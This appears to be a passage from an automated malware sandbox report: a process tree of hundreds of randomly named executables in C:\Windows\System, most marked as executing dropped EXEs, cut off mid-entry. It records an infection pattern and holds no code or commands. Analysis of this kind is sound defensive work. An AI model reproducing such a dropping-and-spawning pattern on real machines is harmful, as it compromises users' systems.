- C:\Windows\System\HfSrlDV.exe
  C:\Windows\System\HfSrlDV.exe
  2⤵
  - Executes dropped EXE
  PID:4436
- C:\Windows\System\qKQtSqh.exe
  C:\Windows\System\qKQtSqh.exe
  2⤵
  - Executes dropped EXE
  PID:776
- C:\Windows\System\HiQSvIU.exe
  C:\Windows\System\HiQSvIU.exe
  2⤵
  - Executes dropped EXE
  PID:5060
- C:\Windows\System\OYeyFXG.exe
  C:\Windows\System\OYeyFXG.exe
  2⤵
  - Executes dropped EXE
  PID:2024
- C:\Windows\System\DACCqYv.exe
  C:\Windows\System\DACCqYv.exe
  2⤵
  - Executes dropped EXE
  PID:1624
- C:\Windows\System\zlUtblM.exe
  C:\Windows\System\zlUtblM.exe
  2⤵
  - Executes dropped EXE
  PID:1844
- C:\Windows\System\LVLTrnw.exe
  C:\Windows\System\LVLTrnw.exe
  2⤵
  - Executes dropped EXE
  PID:4336
- C:\Windows\System\gjwnETm.exe
  C:\Windows\System\gjwnETm.exe
  2⤵
  - Executes dropped EXE
  PID:1036
- C:\Windows\System\QCGRlXB.exe
  C:\Windows\System\QCGRlXB.exe
  2⤵
  - Executes dropped EXE
  PID:792
- C:\Windows\System\cBVXkoG.exe
  C:\Windows\System\cBVXkoG.exe
  2⤵
  - Executes dropped EXE
  PID:4996
- C:\Windows\System\ZGfKpPP.exe
  C:\Windows\System\ZGfKpPP.exe
  2⤵
  - Executes dropped EXE
  PID:3244
- C:\Windows\System\joFIyld.exe
  C:\Windows\System\joFIyld.exe
  2⤵
  - Executes dropped EXE
  PID:4332
- C:\Windows\System\VbofUIW.exe
  C:\Windows\System\VbofUIW.exe
  2⤵
  - Executes dropped EXE
  PID:5108
- C:\Windows\System\Gojeprv.exe
  C:\Windows\System\Gojeprv.exe
  2⤵
  - Executes dropped EXE
  PID:4512
- C:\Windows\System\caMBlgj.exe
  C:\Windows\System\caMBlgj.exe
  2⤵
  - Executes dropped EXE
  PID:4532
- C:\Windows\System\SLMEuGP.exe
  C:\Windows\System\SLMEuGP.exe
  2⤵
  - Executes dropped EXE
  PID:1084
- C:\Windows\System\YRWJbpk.exe
  C:\Windows\System\YRWJbpk.exe
  2⤵
  - Executes dropped EXE
  PID:3240
- C:\Windows\System\GdlIcLu.exe
  C:\Windows\System\GdlIcLu.exe
  2⤵
  - Executes dropped EXE
  PID:5064
- C:\Windows\System\zqFwNdd.exe
  C:\Windows\System\zqFwNdd.exe
  2⤵
  - Executes dropped EXE
  PID:2700
- C:\Windows\System\iTmgwVV.exe
  C:\Windows\System\iTmgwVV.exe
  2⤵
  - Executes dropped EXE
  PID:2132
- C:\Windows\System\asjiCmO.exe
  C:\Windows\System\asjiCmO.exe
  2⤵
  - Executes dropped EXE
  PID:3060
- C:\Windows\System\ucXesyN.exe
  C:\Windows\System\ucXesyN.exe
  2⤵
  - Executes dropped EXE
  PID:1584
- C:\Windows\System\XqzIFvk.exe
  C:\Windows\System\XqzIFvk.exe
  2⤵
  - Executes dropped EXE
  PID:2076
- C:\Windows\System\fnmJWYq.exe
  C:\Windows\System\fnmJWYq.exe
  2⤵
  - Executes dropped EXE
  PID:2500
- C:\Windows\System\UbOISzm.exe
  C:\Windows\System\UbOISzm.exe
  2⤵
  - Executes dropped EXE
  PID:3076
- C:\Windows\System\GrrcJgA.exe
  C:\Windows\System\GrrcJgA.exe
  2⤵
  - Executes dropped EXE
  PID:1424
- C:\Windows\System\QMpVLZh.exe
  C:\Windows\System\QMpVLZh.exe
  2⤵
  - Executes dropped EXE
  PID:3304
- C:\Windows\System\iKagTed.exe
  C:\Windows\System\iKagTed.exe
  2⤵
  - Executes dropped EXE
  PID:3300
- C:\Windows\System\SseeRsY.exe
  C:\Windows\System\SseeRsY.exe
  2⤵
  - Executes dropped EXE
  PID:1092
- C:\Windows\System\WXYNVYl.exe
  C:\Windows\System\WXYNVYl.exe
  2⤵
  - Executes dropped EXE
  PID:464
- C:\Windows\System\bUkuxLY.exe
  C:\Windows\System\bUkuxLY.exe
  2⤵
  - Executes dropped EXE
  PID:1200
- C:\Windows\System\cCzGZvE.exe
  C:\Windows\System\cCzGZvE.exe
  2⤵
  - Executes dropped EXE
  PID:2412
- C:\Windows\System\kydtYnn.exe
  C:\Windows\System\kydtYnn.exe
  2⤵
  - Executes dropped EXE
  PID:4420
- C:\Windows\System\yypExrI.exe
  C:\Windows\System\yypExrI.exe
  2⤵
  - Executes dropped EXE
  PID:3272
- C:\Windows\System\YVtPYvC.exe
  C:\Windows\System\YVtPYvC.exe
  2⤵
  - Executes dropped EXE
  PID:4448
- C:\Windows\System\kQjaVwh.exe
  C:\Windows\System\kQjaVwh.exe
  2⤵
  - Executes dropped EXE
  PID:3752
- C:\Windows\System\ddtaOrn.exe
  C:\Windows\System\ddtaOrn.exe
  2⤵
  - Executes dropped EXE
  PID:3220
- C:\Windows\System\zFdkBad.exe
  C:\Windows\System\zFdkBad.exe
  2⤵
  - Executes dropped EXE
  PID:4452
- C:\Windows\System\VbezaTt.exe
  C:\Windows\System\VbezaTt.exe
  2⤵
  - Executes dropped EXE
  PID:3584
- C:\Windows\System\aWZCOtS.exe
  C:\Windows\System\aWZCOtS.exe
  2⤵
  - Executes dropped EXE
  PID:2080
- C:\Windows\System\pCFsSxy.exe
  C:\Windows\System\pCFsSxy.exe
  2⤵
  - Executes dropped EXE
  PID:2888
- C:\Windows\System\EscUkjt.exe
  C:\Windows\System\EscUkjt.exe
  2⤵
  - Executes dropped EXE
  PID:4144
- C:\Windows\System\HkwberB.exe
  C:\Windows\System\HkwberB.exe
  2⤵
  - Executes dropped EXE
  PID:1040
- C:\Windows\System\jBRAxpM.exe
  C:\Windows\System\jBRAxpM.exe
  2⤵
  - Executes dropped EXE
  PID:2040
- C:\Windows\System\PmLppoh.exe
  C:\Windows\System\PmLppoh.exe
  2⤵
  - Executes dropped EXE
  PID:4612
- C:\Windows\System\tPVvwfB.exe
  C:\Windows\System\tPVvwfB.exe
  2⤵
  - Executes dropped EXE
  PID:2572
- C:\Windows\System\wioEvjt.exe
  C:\Windows\System\wioEvjt.exe
  2⤵
  - Executes dropped EXE
  PID:1068
- C:\Windows\System\bJTKeDw.exe
  C:\Windows\System\bJTKeDw.exe
  2⤵
  - Executes dropped EXE
  PID:428
- C:\Windows\System\ifCqgxW.exe
  C:\Windows\System\ifCqgxW.exe
  2⤵
  - Executes dropped EXE
  PID:2404
- C:\Windows\System\OkswJEz.exe
  C:\Windows\System\OkswJEz.exe
  2⤵
  - Executes dropped EXE
  PID:4700
- C:\Windows\System\fxhDqQF.exe
  C:\Windows\System\fxhDqQF.exe
  2⤵
  - Executes dropped EXE
  PID:2952
- C:\Windows\System\GkXiYnc.exe
  C:\Windows\System\GkXiYnc.exe
  2⤵
  - Executes dropped EXE
  PID:4856
- C:\Windows\System\BoGmxcK.exe
  C:\Windows\System\BoGmxcK.exe
  2⤵
  - Executes dropped EXE
  PID:1684
- C:\Windows\System\UlOVCYj.exe
  C:\Windows\System\UlOVCYj.exe
  2⤵
  - Executes dropped EXE
  PID:3796
- C:\Windows\System\gokhEjc.exe
  C:\Windows\System\gokhEjc.exe
  2⤵
  PID:3100
- C:\Windows\System\pBTAuDN.exe
  C:\Windows\System\pBTAuDN.exe
  2⤵
  PID:4832
- C:\Windows\System\AOfZIgG.exe
  C:\Windows\System\AOfZIgG.exe
  2⤵
  PID:1360
- C:\Windows\System\MJdVkCG.exe
  C:\Windows\System\MJdVkCG.exe
  2⤵
  PID:2564
- C:\Windows\System\tqaTgvC.exe
  C:\Windows\System\tqaTgvC.exe
  2⤵
  PID:1108
- C:\Windows\System\MaOaWaY.exe
  C:\Windows\System\MaOaWaY.exe
  2⤵
  PID:3548
- C:\Windows\System\OIpiVcx.exe
  C:\Windows\System\OIpiVcx.exe
  2⤵
  PID:3684
- C:\Windows\System\boVDMWx.exe
  C:\Windows\System\boVDMWx.exe
  2⤵
  PID:2316
- C:\Windows\System\EAbvWvh.exe
  C:\Windows\System\EAbvWvh.exe
  2⤵
  PID:1824
- C:\Windows\System\QoVoURr.exe
  C:\Windows\System\QoVoURr.exe
  2⤵
  PID:916
- C:\Windows\System\GCxguKp.exe
  C:\Windows\System\GCxguKp.exe
  2⤵
  PID:5128
- C:\Windows\System\xPtZOnF.exe
  C:\Windows\System\xPtZOnF.exe
  2⤵
  PID:5160
- C:\Windows\System\LMZpOWy.exe
  C:\Windows\System\LMZpOWy.exe
  2⤵
  PID:5192
- C:\Windows\System\Dkitwpc.exe
  C:\Windows\System\Dkitwpc.exe
  2⤵
  PID:5220
- C:\Windows\System\tCHCTzt.exe
  C:\Windows\System\tCHCTzt.exe
  2⤵
  PID:5248
- C:\Windows\System\aUClxzl.exe
  C:\Windows\System\aUClxzl.exe
  2⤵
  PID:5272
- C:\Windows\System\GXpeqAz.exe
  C:\Windows\System\GXpeqAz.exe
  2⤵
  PID:5300
- C:\Windows\System\FKEWEUp.exe
  C:\Windows\System\FKEWEUp.exe
  2⤵
  PID:5348
- C:\Windows\System\XfQyUIL.exe
  C:\Windows\System\XfQyUIL.exe
  2⤵
  PID:5372
- C:\Windows\System\KjWkdDB.exe
  C:\Windows\System\KjWkdDB.exe
  2⤵
  PID:5512
- C:\Windows\System\wRhXghy.exe
  C:\Windows\System\wRhXghy.exe
  2⤵
  PID:5552
- C:\Windows\System\VarUpxR.exe
  C:\Windows\System\VarUpxR.exe
  2⤵
  PID:5576
- C:\Windows\System\INVCOks.exe
  C:\Windows\System\INVCOks.exe
  2⤵
  PID:5600
- C:\Windows\System\alrmdTt.exe
  C:\Windows\System\alrmdTt.exe
  2⤵
  PID:5628
- C:\Windows\System\gowHvkG.exe
  C:\Windows\System\gowHvkG.exe
  2⤵
  PID:5668
- C:\Windows\System\mxVouHJ.exe
  C:\Windows\System\mxVouHJ.exe
  2⤵
  PID:5700
- C:\Windows\System\QtuSjhD.exe
  C:\Windows\System\QtuSjhD.exe
  2⤵
  PID:5724
- C:\Windows\System\LOoTZFQ.exe
  C:\Windows\System\LOoTZFQ.exe
  2⤵
  PID:5764
- C:\Windows\System\cknebEi.exe
  C:\Windows\System\cknebEi.exe
  2⤵
  PID:5780
- C:\Windows\System\lXQqBLM.exe
  C:\Windows\System\lXQqBLM.exe
  2⤵
  PID:5804
- C:\Windows\System\eiupARJ.exe
  C:\Windows\System\eiupARJ.exe
  2⤵
  PID:5844
- C:\Windows\System\AnoJYEL.exe
  C:\Windows\System\AnoJYEL.exe
  2⤵
  PID:5860
- C:\Windows\System\upKgidx.exe
  C:\Windows\System\upKgidx.exe
  2⤵
  PID:5888
- C:\Windows\System\KzUdnkq.exe
  C:\Windows\System\KzUdnkq.exe
  2⤵
  PID:5904
- C:\Windows\System\rPcIsAP.exe
  C:\Windows\System\rPcIsAP.exe
  2⤵
  PID:5956
- C:\Windows\System\GBpbqbn.exe
  C:\Windows\System\GBpbqbn.exe
  2⤵
  PID:5972
- C:\Windows\System\sXtedwD.exe
  C:\Windows\System\sXtedwD.exe
  2⤵
  PID:5996
- C:\Windows\System\EJPhUgP.exe
  C:\Windows\System\EJPhUgP.exe
  2⤵
  PID:6012
- C:\Windows\System\RVwPnOt.exe
  C:\Windows\System\RVwPnOt.exe
  2⤵
  PID:6032
- C:\Windows\System\wKrGeuQ.exe
  C:\Windows\System\wKrGeuQ.exe
  2⤵
  PID:6052
- C:\Windows\System\QkQCOKy.exe
  C:\Windows\System\QkQCOKy.exe
  2⤵
  PID:6072
- C:\Windows\System\PPbEmIs.exe
  C:\Windows\System\PPbEmIs.exe
  2⤵
  PID:6100
- C:\Windows\System\CZMdWPU.exe
  C:\Windows\System\CZMdWPU.exe
  2⤵
  PID:2104
- C:\Windows\System\cCxiZIg.exe
  C:\Windows\System\cCxiZIg.exe
  2⤵
  PID:4288
- C:\Windows\System\yisquEM.exe
  C:\Windows\System\yisquEM.exe
  2⤵
  PID:4520
- C:\Windows\System\PjSeYCj.exe
  C:\Windows\System\PjSeYCj.exe
  2⤵
  PID:5212
- C:\Windows\System\UgoNxIE.exe
  C:\Windows\System\UgoNxIE.exe
  2⤵
  PID:3764
- C:\Windows\System\aczSEtb.exe
  C:\Windows\System\aczSEtb.exe
  2⤵
  PID:5324
- C:\Windows\System\RaqlviC.exe
  C:\Windows\System\RaqlviC.exe
  2⤵
  PID:5356
- C:\Windows\System\JrcNpZM.exe
  C:\Windows\System\JrcNpZM.exe
  2⤵
  PID:552
- C:\Windows\System\qxJMtYD.exe
  C:\Windows\System\qxJMtYD.exe
  2⤵
  PID:3628
- C:\Windows\System\HzWgXXL.exe
  C:\Windows\System\HzWgXXL.exe
  2⤵
  PID:4012
- C:\Windows\System\Wifeteh.exe
  C:\Windows\System\Wifeteh.exe
  2⤵
  PID:2828
- C:\Windows\System\SIIvmWi.exe
  C:\Windows\System\SIIvmWi.exe
  2⤵
  PID:4680
- C:\Windows\System\xvcuMnv.exe
  C:\Windows\System\xvcuMnv.exe
  2⤵
  PID:5116
- C:\Windows\System\XmBHIPb.exe
  C:\Windows\System\XmBHIPb.exe
  2⤵
  PID:1656
- C:\Windows\System\LDwfBLd.exe
  C:\Windows\System\LDwfBLd.exe
  2⤵
  PID:744
- C:\Windows\System\PzgwXis.exe
  C:\Windows\System\PzgwXis.exe
  2⤵
  PID:3736
- C:\Windows\System\JjrdyGX.exe
  C:\Windows\System\JjrdyGX.exe
  2⤵
  PID:3964
- C:\Windows\System\akfpymB.exe
  C:\Windows\System\akfpymB.exe
  2⤵
  PID:5572
- C:\Windows\System\dhlqnha.exe
  C:\Windows\System\dhlqnha.exe
  2⤵
  PID:2684
- C:\Windows\System\sPxChKb.exe
  C:\Windows\System\sPxChKb.exe
  2⤵
  PID:5660
- C:\Windows\System\zbmkRBP.exe
  C:\Windows\System\zbmkRBP.exe
  2⤵
  PID:5736
- C:\Windows\System\SbwaXKP.exe
  C:\Windows\System\SbwaXKP.exe
  2⤵
  PID:5748
- C:\Windows\System\wYQwzDs.exe
  C:\Windows\System\wYQwzDs.exe
  2⤵
  PID:5772
- C:\Windows\System\KwIctCY.exe
  C:\Windows\System\KwIctCY.exe
  2⤵
  PID:5840
- C:\Windows\System\VcYdNwK.exe
  C:\Windows\System\VcYdNwK.exe
  2⤵
  PID:5856
- C:\Windows\System\dPtUjWw.exe
  C:\Windows\System\dPtUjWw.exe
  2⤵
  PID:6024
- C:\Windows\System\RNyWbLO.exe
  C:\Windows\System\RNyWbLO.exe
  2⤵
  PID:5980
- C:\Windows\System\bzFmdRp.exe
  C:\Windows\System\bzFmdRp.exe
  2⤵
  PID:3104
- C:\Windows\System\UwelSyb.exe
  C:\Windows\System\UwelSyb.exe
  2⤵
  PID:2236
- C:\Windows\System\PxSBEgX.exe
  C:\Windows\System\PxSBEgX.exe
  2⤵
  PID:5264
- C:\Windows\System\cHMwzCA.exe
  C:\Windows\System\cHMwzCA.exe
  2⤵
  PID:1224
- C:\Windows\System\GphAfHp.exe
  C:\Windows\System\GphAfHp.exe
  2⤵
  PID:2128
- C:\Windows\System\cJVKWGY.exe
  C:\Windows\System\cJVKWGY.exe
  2⤵
  PID:2332
- C:\Windows\System\aqZDTAC.exe
  C:\Windows\System\aqZDTAC.exe
  2⤵
  PID:2712
- C:\Windows\System\MubxDKc.exe
  C:\Windows\System\MubxDKc.exe
  2⤵
  PID:5532
- C:\Windows\System\pJQmpjr.exe
  C:\Windows\System\pJQmpjr.exe
  2⤵
  PID:5596
- C:\Windows\System\CaXZAeo.exe
  C:\Windows\System\CaXZAeo.exe
  2⤵
  PID:5716
- C:\Windows\System\KHgmmTM.exe
  C:\Windows\System\KHgmmTM.exe
  2⤵
  PID:5824
- C:\Windows\System\DeTgCUe.exe
  C:\Windows\System\DeTgCUe.exe
  2⤵
  PID:5876
- C:\Windows\System\ecdJiov.exe
  C:\Windows\System\ecdJiov.exe
  2⤵
  PID:3480
- C:\Windows\System\nvYnRCY.exe
  C:\Windows\System\nvYnRCY.exe
  2⤵
  PID:2296
- C:\Windows\System\qPNIiVq.exe
  C:\Windows\System\qPNIiVq.exe
  2⤵
  PID:4556
- C:\Windows\System\LuEkJAj.exe
  C:\Windows\System\LuEkJAj.exe
  2⤵
  PID:5472
- C:\Windows\System\qGQCElp.exe
  C:\Windows\System\qGQCElp.exe
  2⤵
  PID:5544
- C:\Windows\System\sNVExnz.exe
  C:\Windows\System\sNVExnz.exe
  2⤵
  PID:5788
- C:\Windows\System\iiZyoti.exe
  C:\Windows\System\iiZyoti.exe
  2⤵
  PID:6092
- C:\Windows\System\ujAodwf.exe
  C:\Windows\System\ujAodwf.exe
  2⤵
  PID:5084
- C:\Windows\System\abSdojz.exe
  C:\Windows\System\abSdojz.exe
  2⤵
  PID:5792
- C:\Windows\System\bxEoWvO.exe
  C:\Windows\System\bxEoWvO.exe
  2⤵
  PID:4224
- C:\Windows\System\uNbtfnH.exe
  C:\Windows\System\uNbtfnH.exe
  2⤵
  PID:6148
- C:\Windows\System\UuxFqAK.exe
  C:\Windows\System\UuxFqAK.exe
  2⤵
  PID:6176
- C:\Windows\System\mxWXKCl.exe
  C:\Windows\System\mxWXKCl.exe
  2⤵
  PID:6204
- C:\Windows\System\sWICtUB.exe
  C:\Windows\System\sWICtUB.exe
  2⤵
  PID:6224
- C:\Windows\System\DcmYuLo.exe
  C:\Windows\System\DcmYuLo.exe
  2⤵
  PID:6264
- C:\Windows\System\CKTevAO.exe
  C:\Windows\System\CKTevAO.exe
  2⤵
  PID:6288
- C:\Windows\System\pDvxWSI.exe
  C:\Windows\System\pDvxWSI.exe
  2⤵
  PID:6316
- C:\Windows\System\KkvIwXr.exe
  C:\Windows\System\KkvIwXr.exe
  2⤵
  PID:6332
- C:\Windows\System\gYStfZk.exe
  C:\Windows\System\gYStfZk.exe
  2⤵
  PID:6360
- C:\Windows\System\AKpYGFZ.exe
  C:\Windows\System\AKpYGFZ.exe
  2⤵
  PID:6396
- C:\Windows\System\kyAhFqS.exe
  C:\Windows\System\kyAhFqS.exe
  2⤵
  PID:6428
- C:\Windows\System\LchTYYn.exe
  C:\Windows\System\LchTYYn.exe
  2⤵
  PID:6460
- C:\Windows\System\vxHHVTW.exe
  C:\Windows\System\vxHHVTW.exe
  2⤵
  PID:6480
- C:\Windows\System\HpQpTNe.exe
  C:\Windows\System\HpQpTNe.exe
  2⤵
  PID:6508
- C:\Windows\System\qQYHCfA.exe
  C:\Windows\System\qQYHCfA.exe
  2⤵
  PID:6528
- C:\Windows\System\hXtBiYV.exe
  C:\Windows\System\hXtBiYV.exe
  2⤵
  PID:6568
- C:\Windows\System\kncZKBG.exe
  C:\Windows\System\kncZKBG.exe
  2⤵
  PID:6624
- C:\Windows\System\MhJeWrV.exe
  C:\Windows\System\MhJeWrV.exe
  2⤵
  PID:6648
- C:\Windows\System\JLEZZHP.exe
  C:\Windows\System\JLEZZHP.exe
  2⤵
  PID:6676
- C:\Windows\System\WFFLQRa.exe
  C:\Windows\System\WFFLQRa.exe
  2⤵
  PID:6704
- C:\Windows\System\WyCmKuM.exe
  C:\Windows\System\WyCmKuM.exe
  2⤵
  PID:6732
- C:\Windows\System\nzailkc.exe
  C:\Windows\System\nzailkc.exe
  2⤵
  PID:6764
- C:\Windows\System\cXDMOXN.exe
  C:\Windows\System\cXDMOXN.exe
  2⤵
  PID:6788
- C:\Windows\System\wTzuRNQ.exe
  C:\Windows\System\wTzuRNQ.exe
  2⤵
  PID:6820
- C:\Windows\System\NkbzmoO.exe
  C:\Windows\System\NkbzmoO.exe
  2⤵
  PID:6844
- C:\Windows\System\BLOtzLs.exe
  C:\Windows\System\BLOtzLs.exe
  2⤵
  PID:6864
- C:\Windows\System\IAHZPYJ.exe
  C:\Windows\System\IAHZPYJ.exe
  2⤵
  PID:6908
- C:\Windows\System\tSgxSai.exe
  C:\Windows\System\tSgxSai.exe
  2⤵
  PID:6932
- C:\Windows\System\tJBwhYs.exe
  C:\Windows\System\tJBwhYs.exe
  2⤵
  PID:6960
- C:\Windows\System\BFbtzzO.exe
  C:\Windows\System\BFbtzzO.exe
  2⤵
  PID:6984
- C:\Windows\System\DVfmCaT.exe
  C:\Windows\System\DVfmCaT.exe
  2⤵
  PID:7008
- C:\Windows\System\JqRWxMQ.exe
  C:\Windows\System\JqRWxMQ.exe
  2⤵
  PID:7028
- C:\Windows\System\pOxUzrJ.exe
  C:\Windows\System\pOxUzrJ.exe
  2⤵
  PID:7056
- C:\Windows\System\PtOFNQm.exe
  C:\Windows\System\PtOFNQm.exe
  2⤵
  PID:7084
- C:\Windows\System\MYmMmoA.exe
  C:\Windows\System\MYmMmoA.exe
  2⤵
  PID:7112
- C:\Windows\System\iHeJYmy.exe
  C:\Windows\System\iHeJYmy.exe
  2⤵
  PID:7160
- C:\Windows\System\pAmHGbF.exe
  C:\Windows\System\pAmHGbF.exe
  2⤵
  PID:6168
- C:\Windows\System\ZCbOfPo.exe
  C:\Windows\System\ZCbOfPo.exe
  2⤵
  PID:6240
- C:\Windows\System\zWFxHWy.exe
  C:\Windows\System\zWFxHWy.exe
  2⤵
  PID:6260
- C:\Windows\System\XOWlkWO.exe
  C:\Windows\System\XOWlkWO.exe
  2⤵
  PID:6308
- C:\Windows\System\skfxOHz.exe
  C:\Windows\System\skfxOHz.exe
  2⤵
  PID:6388
- C:\Windows\System\VQXWJRJ.exe
  C:\Windows\System\VQXWJRJ.exe
  2⤵
  PID:5448
- C:\Windows\System\hoPdVBC.exe
  C:\Windows\System\hoPdVBC.exe
  2⤵
  PID:6496
- C:\Windows\System\BBzGAEu.exe
  C:\Windows\System\BBzGAEu.exe
  2⤵
  PID:6616
- C:\Windows\System\jlxSOLx.exe
  C:\Windows\System\jlxSOLx.exe
  2⤵
  PID:6664
- C:\Windows\System\CTXgQQs.exe
  C:\Windows\System\CTXgQQs.exe
  2⤵
  PID:6712
- C:\Windows\System\NuXRsDe.exe
  C:\Windows\System\NuXRsDe.exe
  2⤵
  PID:6808
- C:\Windows\System\rTjozZK.exe
  C:\Windows\System\rTjozZK.exe
  2⤵
  PID:6884
- C:\Windows\System\tKrQTkB.exe
  C:\Windows\System\tKrQTkB.exe
  2⤵
  PID:6928
- C:\Windows\System\goHumDM.exe
  C:\Windows\System\goHumDM.exe
  2⤵
  PID:6976
- C:\Windows\System\msmChoz.exe
  C:\Windows\System\msmChoz.exe
  2⤵
  PID:7036
- C:\Windows\System\RYGGVBl.exe
  C:\Windows\System\RYGGVBl.exe
  2⤵
  PID:7092
- C:\Windows\System\GdAsUVK.exe
  C:\Windows\System\GdAsUVK.exe
  2⤵
  PID:7136
- C:\Windows\System\qjTwBYb.exe
  C:\Windows\System\qjTwBYb.exe
  2⤵
  PID:6324
- C:\Windows\System\PCfQOFM.exe
  C:\Windows\System\PCfQOFM.exe
  2⤵
  PID:6444
- C:\Windows\System\OXEhZSg.exe
  C:\Windows\System\OXEhZSg.exe
  2⤵
  PID:6476
- C:\Windows\System\FdLarnD.exe
  C:\Windows\System\FdLarnD.exe
  2⤵
  PID:6796
- C:\Windows\System\WEAGgFM.exe
  C:\Windows\System\WEAGgFM.exe
  2⤵
  PID:6856
- C:\Windows\System\lzkQEwX.exe
  C:\Windows\System\lzkQEwX.exe
  2⤵
  PID:6948
- C:\Windows\System\nfgFTez.exe
  C:\Windows\System\nfgFTez.exe
  2⤵
  PID:5416
- C:\Windows\System\riwDcJn.exe
  C:\Windows\System\riwDcJn.exe
  2⤵
  PID:6556
- C:\Windows\System\DsyXTAA.exe
  C:\Windows\System\DsyXTAA.exe
  2⤵
  PID:6636
- C:\Windows\System\KBBiYAc.exe
  C:\Windows\System\KBBiYAc.exe
  2⤵
  PID:5452
- C:\Windows\System\TciebWU.exe
  C:\Windows\System\TciebWU.exe
  2⤵
  PID:5408
- C:\Windows\System\UCYmkgP.exe
  C:\Windows\System\UCYmkgP.exe
  2⤵
  PID:7184
- C:\Windows\System\YQdFgVm.exe
  C:\Windows\System\YQdFgVm.exe
  2⤵
  PID:7208
- C:\Windows\System\hJfinIC.exe
  C:\Windows\System\hJfinIC.exe
  2⤵
  PID:7236
- C:\Windows\System\FXdpmXa.exe
  C:\Windows\System\FXdpmXa.exe
  2⤵
  PID:7256
- C:\Windows\System\JqxoOdg.exe
  C:\Windows\System\JqxoOdg.exe
  2⤵
  PID:7284
- C:\Windows\System\phovlmp.exe
  C:\Windows\System\phovlmp.exe
  2⤵
  PID:7308
- C:\Windows\System\gzHKeFa.exe
  C:\Windows\System\gzHKeFa.exe
  2⤵
  PID:7332
- C:\Windows\System\iUwtOkW.exe
  C:\Windows\System\iUwtOkW.exe
  2⤵
  PID:7384
- C:\Windows\System\AlqqwLO.exe
  C:\Windows\System\AlqqwLO.exe
  2⤵
  PID:7416
- C:\Windows\System\QAqpkMt.exe
  C:\Windows\System\QAqpkMt.exe
  2⤵
  PID:7444
- C:\Windows\System\WFYPDzG.exe
  C:\Windows\System\WFYPDzG.exe
  2⤵
  PID:7472
- C:\Windows\System\uYBhKqy.exe
  C:\Windows\System\uYBhKqy.exe
  2⤵
  PID:7492
- C:\Windows\System\hXoeyRv.exe
  C:\Windows\System\hXoeyRv.exe
  2⤵
  PID:7528
- C:\Windows\System\YcAGxQn.exe
  C:\Windows\System\YcAGxQn.exe
  2⤵
  PID:7548
- C:\Windows\System\VYyKALH.exe
  C:\Windows\System\VYyKALH.exe
  2⤵
  PID:7588
- C:\Windows\System\AZDVVTp.exe
  C:\Windows\System\AZDVVTp.exe
  2⤵
  PID:7608
- C:\Windows\System\qKnYuFW.exe
  C:\Windows\System\qKnYuFW.exe
  2⤵
  PID:7644
- C:\Windows\System\eVvjozJ.exe
  C:\Windows\System\eVvjozJ.exe
  2⤵
  PID:7672
- C:\Windows\System\xlmSxcI.exe
  C:\Windows\System\xlmSxcI.exe
  2⤵
  PID:7696
- C:\Windows\System\qkmokeF.exe
  C:\Windows\System\qkmokeF.exe
  2⤵
  PID:7716
- C:\Windows\System\tdvitdn.exe
  C:\Windows\System\tdvitdn.exe
  2⤵
  PID:7768
- C:\Windows\System\zhIGnqP.exe
  C:\Windows\System\zhIGnqP.exe
  2⤵
  PID:7788
- C:\Windows\System\TKLhpnW.exe
  C:\Windows\System\TKLhpnW.exe
  2⤵
  PID:7808
- C:\Windows\System\FNakIUg.exe
  C:\Windows\System\FNakIUg.exe
  2⤵
  PID:7832
- C:\Windows\System\sKDUlHi.exe
  C:\Windows\System\sKDUlHi.exe
  2⤵
  PID:7880
- C:\Windows\System\MQbRwlr.exe
  C:\Windows\System\MQbRwlr.exe
  2⤵
  PID:7904
- C:\Windows\System\YuIqZZd.exe
  C:\Windows\System\YuIqZZd.exe
  2⤵
  PID:7924
- C:\Windows\System\vrOfRRz.exe
  C:\Windows\System\vrOfRRz.exe
  2⤵
  PID:7964
- C:\Windows\System\wzylZCc.exe
  C:\Windows\System\wzylZCc.exe
  2⤵
  PID:7996
- C:\Windows\System\hsVelDB.exe
  C:\Windows\System\hsVelDB.exe
  2⤵
  PID:8016
- C:\Windows\System\rmKivoy.exe
  C:\Windows\System\rmKivoy.exe
  2⤵
  PID:8032
- C:\Windows\System\ttImgxT.exe
  C:\Windows\System\ttImgxT.exe
  2⤵
  PID:8080
- C:\Windows\System\RNGOZcN.exe
  C:\Windows\System\RNGOZcN.exe
  2⤵
  PID:8108
- C:\Windows\System\ukANmsp.exe
  C:\Windows\System\ukANmsp.exe
  2⤵
  PID:8148
- C:\Windows\System\qbbhPCO.exe
  C:\Windows\System\qbbhPCO.exe
  2⤵
  PID:8176
- C:\Windows\System\MtMYjCR.exe
  C:\Windows\System\MtMYjCR.exe
  2⤵
  PID:6200
- C:\Windows\System\gNitLlD.exe
  C:\Windows\System\gNitLlD.exe
  2⤵
  PID:7176
- C:\Windows\System\tSRuabW.exe
  C:\Windows\System\tSRuabW.exe
  2⤵
  PID:7248
- C:\Windows\System\gHsSzgD.exe
  C:\Windows\System\gHsSzgD.exe
  2⤵
  PID:7252
- C:\Windows\System\gIpCJRF.exe
  C:\Windows\System\gIpCJRF.exe
  2⤵
  PID:7428
- C:\Windows\System\tGJJZmf.exe
  C:\Windows\System\tGJJZmf.exe
  2⤵
  PID:7512
- C:\Windows\System\lmJuohH.exe
  C:\Windows\System\lmJuohH.exe
  2⤵
  PID:7484
- C:\Windows\System\sUVWkAM.exe
  C:\Windows\System\sUVWkAM.exe
  2⤵
  PID:7560
- C:\Windows\System\zUGxmCy.exe
  C:\Windows\System\zUGxmCy.exe
  2⤵
  PID:7652
- C:\Windows\System\AdclGMO.exe
  C:\Windows\System\AdclGMO.exe
  2⤵
  PID:7708
- C:\Windows\System\zRCGZju.exe
  C:\Windows\System\zRCGZju.exe
  2⤵
  PID:7764
- C:\Windows\System\IypDzUm.exe
  C:\Windows\System\IypDzUm.exe
  2⤵
  PID:7916
- C:\Windows\System\GJtvnMo.exe
  C:\Windows\System\GJtvnMo.exe
  2⤵
  PID:8008
- C:\Windows\System\moNccMB.exe
  C:\Windows\System\moNccMB.exe
  2⤵
  PID:8052
- C:\Windows\System\AZnLPOI.exe
  C:\Windows\System\AZnLPOI.exe
  2⤵
  PID:3212
- C:\Windows\System\dBfgFsF.exe
  C:\Windows\System\dBfgFsF.exe
  2⤵
  PID:8172
- C:\Windows\System\yPNhbLD.exe
  C:\Windows\System\yPNhbLD.exe
  2⤵
  PID:7192
- C:\Windows\System\JEZCJwE.exe
  C:\Windows\System\JEZCJwE.exe
  2⤵
  PID:7372
- C:\Windows\System\vyHLFYd.exe
  C:\Windows\System\vyHLFYd.exe
  2⤵
  PID:7316
- C:\Windows\System\EoShcvI.exe
  C:\Windows\System\EoShcvI.exe
  2⤵
  PID:7616
- C:\Windows\System\eDNjCUQ.exe
